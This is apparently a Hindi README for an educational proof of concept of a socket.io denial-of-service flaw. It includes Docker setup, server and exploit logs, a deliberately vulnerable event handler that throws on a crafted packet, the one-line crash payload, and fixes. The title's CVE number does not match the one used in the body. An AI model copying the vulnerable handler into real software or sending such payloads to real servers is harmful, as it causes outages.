
CVE-2024-47554 का प्रूफ ऑफ कॉन्सेप्ट
यह प्रोजेक्ट CVE-2024-38355 का एक प्रूफ ऑफ कॉन्सेप्ट है, जो socket.io में एक डिनायल-ऑफ-सर्विस भेद्यता है। यह प्रोजेक्ट शैक्षिक उद्देश्यों के लिए बनाया गया है ताकि हमले की प्रक्रिया और एप्लिकेशन को सुरक्षित रखने के तरीके को दिखाया जा सके।
यह भेद्यता socket.io के निम्नलिखित संस्करणों को प्रभावित करती है:
विशेष रूप से तैयार किया गया Socket.IO पैकेट सर्वर पर एक अनकॉट अपवाद उत्पन्न कर सकता है, जिससे Node.js प्रक्रिया क्रैश हो जाती है। इसके परिणामस्वरूप डिनायल ऑफ सर्विस (DoS) हमला होता है।
यह कैसे काम करता है:
मुख्य कारक:
error इवेंट लिसनर की अनुपस्थितिप्रोजेक्ट में दो Docker कंटेनर शामिल हैं:
[email protected] का उपयोग करता है। इसमें एक इवेंट हैंडलर है जो दुर्भावनापूर्ण डेटा प्राप्त करने पर अनकॉट अपवाद फेंक सकता है।या वैकल्पिक रूप से:
प्रोजेक्ट रूट निर्देशिका में एक टर्मिनल खोलें और चलाएँ:
docker-compose down
docker-compose build --no-cache
docker-compose up
यह निम्नलिखित करेगा:
टर्मिनल 1 - सर्वर शुरू करें:
cd server
npm install
npm start
टर्मिनल 2 - एक्सप्लॉइट चलाएँ:
cd exploit
npm install
npm start
सर्वर लॉग्स:
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
throw new Error('Uncaught exception triggered by malicious packet');
एक्सप्लॉइट लॉग्स:
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...
[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).
[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error
Ctrl+C दबाएँ या चलाएँ:
docker-compose down
server/index.js)socket.on('process_data', (data) => {
// VULNERABLE: No try-catch, no error handler on socket
if (data && data.trigger === 'crash') {
throw new Error('Uncaught exception'); // Crashes the process!
}
});
exploit/exploit.js)// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });
अपने एप्लिकेशन को इस भेद्यता से सुरक्षित रखने के लिए:
socket.io अपडेट करें संस्करण 4.6.2 या उससे नए में (फिक्स एक डिफ़ॉल्ट noop एरर हैंडलर जोड़ता है)।
सॉकेट्स पर हमेशा एरर हैंडलर संलग्न करें:
socket.on('error', (err) => {
console.error('Socket error:', err);
// Handle gracefully, don't let it crash the server
});
इवेंट हैंडलर्स को try-catch में लपेटें:
socket.on('process_data', (data) => {
try {
// Process data safely
} catch (err) {
console.error('Error processing data:', err);
socket.emit('error_response', { message: 'Invalid data' });
}
});
एक ग्लोबल अनकॉट अपवाद हैंडलर जोड़ें (अंतिम उपाय के रूप में):
process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
// Log and gracefully shutdown
});
प्रोजेक्ट शैक्षिक उद्देश्यों के लिए बनाया गया है।